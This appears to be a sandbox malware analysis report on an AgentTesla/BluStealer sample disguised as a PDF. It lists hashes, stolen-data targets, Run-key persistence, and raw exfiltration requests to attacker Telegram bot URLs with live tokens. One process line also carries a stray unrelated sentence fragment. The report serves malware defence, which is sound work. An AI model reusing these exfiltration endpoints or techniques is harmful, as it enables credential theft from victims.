agenttesla | 47646f3f8c7c4ddd4b3c216bf6c52980abe65a44fa54113d5f16d90cedd99fdd

Analysis

max time kernel
144s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2022, 10:39 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Dekont.PDF.exe
Size

1.6MB
MD5

76ba6964a46301e0b22a182eb1796af4
SHA1

365a5c45aedadd22ad59948fcf602d814462b7a0
SHA256

47646f3f8c7c4ddd4b3c216bf6c52980abe65a44fa54113d5f16d90cedd99fdd
SHA512

ba56f078f1a2d38bf05466884cc715ec12ad4d8ed637fe9184cb4db3ec8e6eadfac1127c16b1955545f4a4fc12ad9b2c8a107c813adcf83e3f72c075309fa53f
SSDEEP

24576:gAOcZXQO+cyQF5zO8Y78i4RBayBkvDr/DwpN6k77rvyOMhoihMhi9+zOgQVUWTA:+o8S9GyyvPDwpN6kDbUsi9LPTA

Score

10^/10

agenttesla blustealer collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

blustealer

https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendMessage?chat_id=1293496579

Extracted

Family

agenttesla

https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
BluStealer
A Modular information stealer written in Visual Basic.
stealer blustealer

Executes dropped EXE 3 IoCs

pid	Process
1680	DL NETIVE BOTNET LOGS.exe
2340	pusgniqwdg.pif
5052	RegSvcs.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Dekont.PDF.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	pusgniqwdg.pif
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "c:\\1_94\\PUSGNI~1.PIF c:\\1_94\\xbpe.hvn"	pusgniqwdg.pif

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1680 set thread context of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 2340 set thread context of 5052	2340	pusgniqwdg.pif	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1680	DL NETIVE BOTNET LOGS.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 1680	1028	Dekont.PDF.exe	80
PID 1028 wrote to memory of 1680	1028	Dekont.PDF.exe	80
PID 1028 wrote to memory of 1680	1028	Dekont.PDF.exe	80
PID 1028 wrote to memory of 2340	1028	Dekont.PDF.exe	82
PID 1028 wrote to memory of 2340	1028	Dekont.PDF.exe	82
PID 1028 wrote to memory of 2340	1028	Dekont.PDF.exe	82
PID 1680 wrote to memory of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 1680 wrote to memory of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 1680 wrote to memory of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 1680 wrote to memory of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 1680 wrote to memory of 4896	1680	DL NETIVE BOTNET LOGS.exe	83
PID 2340 wrote to memory of 5052	2340	pusgniqwdg.pif	84
PID 2340 wrote to memory of 5052	2340	pusgniqwdg.pif	84
PID 2340 wrote to memory of 5052	2340	pusgniqwdg.pif	84
PID 2340 wrote to memory of 5052	2340	pusgniqwdg.pif	84
PID 2340 wrote to memory of 5052	2340	pusgniqwdg.pif	84

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Users\Admin\AppData\Local\Temp\Dekont.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\Dekont.PDF.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1028
- C:\1_94\DL NETIVE BOTNET LOGS.exe
  "C:\1_94\DL NETIVE BOTNET LOGS.exe" ... that Dmitri Smirnov (pictured) composed the Triple Concerto No.
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    3⤵
    - Accesses Microsoft Outlook profiles
    PID:4896
- C:\1_94\pusgniqwdg.pif
  "C:\1_94\pusgniqwdg.pif" xbpe.hvn
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe
    "C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:5052

Network

DNS

api.telegram.org

RegSvcs.exe

Remote address:

8.8.8.8:53

Request

api.telegram.org

IN A

Response

api.telegram.org

IN A

149.154.167.220
POST

https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendMessage

DL NETIVE BOTNET LOGS.exe

Remote address:

149.154.167.220:443

Request

POST /bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendMessage HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 167
Host: api.telegram.org

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Fri, 30 Sep 2022 10:39:27 GMT
Content-Type: application/json
Content-Length: 422
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
POST

https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendDocument?chat_id=1293496579&caption=credentials.txt:::TMKNGOMU\Admin

DL NETIVE BOTNET LOGS.exe

Remote address:

149.154.167.220:443

Request

POST /bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendDocument?chat_id=1293496579&caption=credentials.txt:::TMKNGOMU\Admin HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: api.telegram.org
Content-Length: 201
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 400 Bad Request

Server: nginx/1.18.0
Date: Fri, 30 Sep 2022 10:39:28 GMT
Content-Type: application/json
Content-Length: 81
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
POST

https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument

RegSvcs.exe

Remote address:

149.154.167.220:443

Request

POST /bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8daa2e0d21e9439
Host: api.telegram.org
Content-Length: 2458
Expect: 100-continue
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Fri, 30 Sep 2022 10:39:32 GMT
Content-Type: application/json
Content-Length: 648
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
POST

https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument

RegSvcs.exe

Remote address:

149.154.167.220:443

Request

POST /bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8daa2e0d3521e67
Host: api.telegram.org
Content-Length: 764
Expect: 100-continue

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Fri, 30 Sep 2022 10:39:34 GMT
Content-Type: application/json
Content-Length: 638
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

93.184.220.29:80

322 B
7
93.184.220.29:80

322 B
7
149.154.167.220:443

https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendMessage

tls, http

DL NETIVE BOTNET LOGS.exe

1.4kB
7.1kB
13
12

HTTP Request

POST https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendMessage

HTTP Response

200
149.154.167.220:443

https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendDocument?chat_id=1293496579&caption=credentials.txt:::TMKNGOMU\Admin

tls, http

DL NETIVE BOTNET LOGS.exe

1.8kB
6.8kB
16
12

HTTP Request

POST https://api.telegram.org/bot5310184325:AAFI3fSQ6VcGu_NSTmv7d-qK2WCVhYY_qfg/sendDocument?chat_id=1293496579&caption=credentials.txt:::TMKNGOMU\Admin

HTTP Response

400
149.154.167.220:443

https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument

tls, http

RegSvcs.exe

7.4kB
8.8kB
18
19

HTTP Request

POST https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument

HTTP Response

200

HTTP Request

POST https://api.telegram.org/bot5422204482:AAEu-I3AZCMcCehYPkAHAbI6qEwhd1OKxpk/sendDocument

HTTP Response

200
8.253.225.254:80

322 B
7
8.253.225.254:80

322 B
7
209.197.3.8:80

322 B
7

8.8.8.8:53

api.telegram.org

dns

RegSvcs.exe

62 B
78 B
1
1

DNS Request

api.telegram.org

DNS Response

149.154.167.220

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\1_94\DL NETIVE BOTNET LOGS.exe

Filesize
440KB

MD5
61f35c53811bb66d62effc5a53de458f

SHA1
e4507c6a3d5c3d01f19c487366044febb126ca70

SHA256
833be5c7dccf68c26164d893636d27cc0ee9f870c472ca52aa90e33477c66eb1

SHA512
5148a115d3665bb951d537231c8262af5bbffbbaa7a7f2110623a95cf935cd8a6b13e77f62a712f44b871ca3b4182f13d0fcd3ed26e8cd00657c31d043044384

Download Submit
C:\1_94\DL NETIVE BOTNET LOGS.exe

Filesize
440KB

MD5
61f35c53811bb66d62effc5a53de458f

SHA1
e4507c6a3d5c3d01f19c487366044febb126ca70

SHA256
833be5c7dccf68c26164d893636d27cc0ee9f870c472ca52aa90e33477c66eb1

SHA512
5148a115d3665bb951d537231c8262af5bbffbbaa7a7f2110623a95cf935cd8a6b13e77f62a712f44b871ca3b4182f13d0fcd3ed26e8cd00657c31d043044384

Download Submit
C:\1_94\phiv.noq

Filesize
419KB

MD5
9e24af62c8fd951dc8c9ebf8082e56c2

SHA1
4c56b3059055b4e8741611e1b55e32fd5d55fe32

SHA256
74d6840ebabc919b6399358bbce8507f2da165d12f95bb144ef73f0b0ebb3936

SHA512
433152ff88dcdeb7a23606702ea61c26ce75902bb9d6f631e8e589145c3483ac408ac88ba7b9ae3443084389107bf6622ad532e78abec8e120f3fc0a21a8b2fe

Download Submit
C:\1_94\pusgniqwdg.pif

Filesize
820KB

MD5
0c996fa7285452f1302d8c781bd72972

SHA1
93b2a1bce155afec134804b3a2ef6b40ac0a4178

SHA256
470588c09deb416b91666b21a15cda3fd2e8807bdf83e27e5939415651bb006f

SHA512
e8d8c61f04707af05143e1c68ffcbf38a433766096a5c87c0f6b2b8cf54f0f2d4a60e39f4b0fb5a78dfbb97a2549d7c930887021bf513abf268a4677d9231c5e

Download Submit
C:\1_94\pusgniqwdg.pif

Filesize
820KB

MD5
0c996fa7285452f1302d8c781bd72972

SHA1
93b2a1bce155afec134804b3a2ef6b40ac0a4178

SHA256
470588c09deb416b91666b21a15cda3fd2e8807bdf83e27e5939415651bb006f

SHA512
e8d8c61f04707af05143e1c68ffcbf38a433766096a5c87c0f6b2b8cf54f0f2d4a60e39f4b0fb5a78dfbb97a2549d7c930887021bf513abf268a4677d9231c5e

Download Submit
C:\1_94\vxve.exe

Filesize
59KB

MD5
c739ed663921f7c2cd1e806f46b32d92

SHA1
ae5b9711392c0972add32635c60da5b1a807074f

SHA256
8822b0a84853c52e7595a26c1827adf0c659065bc93fc81a97791014a8770218

SHA512
e167b4a07e585ee5b1fb45ee68a002618f0cc7f8415875a4b4121c113369a0b786665d02ee615237b5867c311e646e13131f281b519d76ead236d80b8781d6e1

Download Submit
C:\1_94\xbpe.hvn

Filesize
218.9MB

MD5
9162c8e0ae1fad9e706248b904a9e1cd

SHA1
b7b90b6e3e422c3b0e008878e9609408839cc578

SHA256
3739cf8b42b0295579592aa2cfbdfa138f387803e198d9c68967bd0fef694c1e

SHA512
91ddbf165ba945072c790af134b8e128ef317dc3e7c0174eb8faae43da68138dbbbf02da97b034df2ae91a2aa38aae5fccd636942a63d84ffded26a9e3b5679d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe

Filesize
44KB

MD5
9d352bc46709f0cb5ec974633a0c3c94

SHA1
1969771b2f022f9a86d77ac4d4d239becdf08d07

SHA256
2c1eeb7097023c784c2bd040a2005a5070ed6f3a4abf13929377a9e39fab1390

SHA512
13c714244ec56beeb202279e4109d59c2a43c3cf29f90a374a751c04fd472b45228ca5a0178f41109ed863dbd34e0879e4a21f5e38ae3d89559c57e6be990a9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe

Filesize
44KB

MD5
9d352bc46709f0cb5ec974633a0c3c94

SHA1
1969771b2f022f9a86d77ac4d4d239becdf08d07

SHA256
2c1eeb7097023c784c2bd040a2005a5070ed6f3a4abf13929377a9e39fab1390

SHA512
13c714244ec56beeb202279e4109d59c2a43c3cf29f90a374a751c04fd472b45228ca5a0178f41109ed863dbd34e0879e4a21f5e38ae3d89559c57e6be990a9b

Download Submit
memory/4896-144-0x0000000005310000-0x00000000053AC000-memory.dmp

Filesize
624KB

Download
memory/4896-142-0x0000000000C00000-0x0000000000C66000-memory.dmp

Filesize
408KB

Download
memory/5052-146-0x0000000000C00000-0x00000000012A6000-memory.dmp

Filesize
6.6MB

Download
memory/5052-150-0x0000000000C00000-0x0000000000C3A000-memory.dmp

Filesize
232KB

Download
memory/5052-151-0x0000000005DE0000-0x0000000006384000-memory.dmp

Filesize
5.6MB

Download
memory/5052-152-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/5052-153-0x0000000006B10000-0x0000000006B60000-memory.dmp

Filesize
320KB

Download
memory/5052-154-0x0000000006E40000-0x0000000006ED2000-memory.dmp

Filesize
584KB

Download
memory/5052-155-0x0000000006DF0000-0x0000000006DFA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.